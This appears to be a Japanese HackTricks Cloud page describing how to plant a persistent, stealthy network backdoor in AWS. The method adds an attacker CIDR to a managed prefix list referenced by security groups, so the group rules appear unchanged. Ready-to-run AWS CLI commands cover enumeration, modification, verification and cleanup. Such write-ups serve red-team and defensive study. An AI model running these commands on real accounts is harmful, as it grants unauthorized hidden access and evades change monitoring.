AWS - Managed Prefix Lists を介した Security Group バックドア
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
customer-managed Prefix Lists を悪用してステルスなアクセス経路を作成します。security group (SG) ルールが managed Prefix List を参照している場合、そのリストを変更できる者は誰でも攻撃者が管理する CIDRs を静かに追加できます。そのリストを参照するすべての SG(場合によっては Network ACL や VPC endpoint も)が、SG 自体の見た目上の変更なしに新しい範囲を即座に許可します。
影響
- prefix list を参照するすべての SG の許可 IP 範囲が即座に拡大し、SG の編集のみを監視する変更管理を回避します。
- 永続的な受信/送信バックドアを可能にします: 悪意ある CIDR を prefix list に隠したまま SG ルールは変更されていないように見せられます。
要件
- IAM 権限:
ec2:DescribeManagedPrefixListsec2:GetManagedPrefixListEntriesec2:ModifyManagedPrefixListec2:DescribeSecurityGroups/ec2:DescribeSecurityGroupRules(アタッチされている SG を特定するため)- オプション:
ec2:CreateManagedPrefixList(テスト用に新規作成する場合) - 環境: 対象の customer-managed Prefix List を参照する SG ルールが少なくとも1つ存在すること。
変数
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"
攻撃手順
- 候補となる prefix lists と consumers を列挙する
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table
aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
Use aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID を使用して、どの SG ルールがそのリストに依存しているかを確認します。
- attacker CIDR を prefix list に追加する
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
- security groups への伝播を検証する
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
$ENTRY_CIDR からのトラフィックは、prefix list が参照されているあらゆる場所(通常は出口プロキシのアウトバウンドルールや共有サービスのインバウンドルール)で許可されるようになります。
証拠
get-managed-prefix-list-entriesは攻撃者の CIDR と説明を反映しています。describe-security-group-rulesは元の SG ルールが prefix list を参照している状態をそのまま表示します(SG の変更は記録されていません)が、新しい CIDR からのトラフィックは成功します。
クリーンアップ
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

